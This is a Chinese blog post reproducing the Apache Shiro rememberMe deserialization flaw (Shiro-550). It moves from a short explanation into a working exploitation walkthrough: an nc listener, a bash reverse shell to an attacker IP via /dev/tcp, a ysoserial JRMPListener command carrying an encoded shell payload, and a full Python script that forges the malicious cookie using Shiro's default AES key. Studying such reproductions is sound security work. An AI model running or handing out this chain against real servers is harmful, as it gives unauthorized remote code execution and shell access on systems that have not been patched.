Shiro rememberMe反序列化漏洞(Shiro-550)复现


漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本

Apache Shiro < 1.2.4

特征判断

返回包中包含rememberMe=deleteMe字段

演示

文中的配图有点不一致,别介意,环境问题

系统界面如图

抓包查看

可以看到是Shiro

1.检查是否存在默认的key

工具链接:https://github.com/insightglacier/Shiro_exploit

python shiro_exploit.py -u http://<IP>:7080

检测的key保存下来一会用

2.制作反弹shell代码

2.1 vps监听端口

nc -lvvp 7788

2.2 Java Runtime 配合 bash 编码,
在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/202.xx.xx.xx/7788 0>&1    # ip为攻击机的地址

3.通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令

上一步的反弹shell的命令编码结果写到下面

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 'bash -c {echo,YmFzaCAtxxxxxxzYuxxxxxxxxxxxxQ==}|{base64,-d}|{bash,-i}'    # 这里用的CommonsCollections4

4.使用shiro.py 生成Payload

python shiro.py 122.xx.xx.xx:6666

其中shiro.py代码如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections6', command], stdout=subprocess.PIPE)    # 这里要注意用哪个JRMPClient
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("fCq+/xW488hMTCD+cmJ3aQ==")    # 这里的key要提前枚举出来
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())


5.构造数据包,伪造cookie,发送Payload.

6.nc监听端口,shell成功反弹


PS:后来发现这个好用的工具,一键检测&getshell,好用极了

我应该去学学java编程了,看大佬们写的各种工具,羡慕极了


文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
Fastjson反序列化 Fastjson反序列化
简介fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。可以通过反序列化导致远程命令执行。 漏
2020-11-13
下一篇 
FTP两种模式 FTP两种模式
主被动模式,阐述的是数据传输过程 主被动模式,选择权在客户机上! 所谓主或被,是站在服务器角度说的 主动模式端口:21端口(控制端口) + 20端口(数据端口) 传输数据的时候服务器主动–>主动模式 服务器的20主动向客户机的
2020-10-13
  目录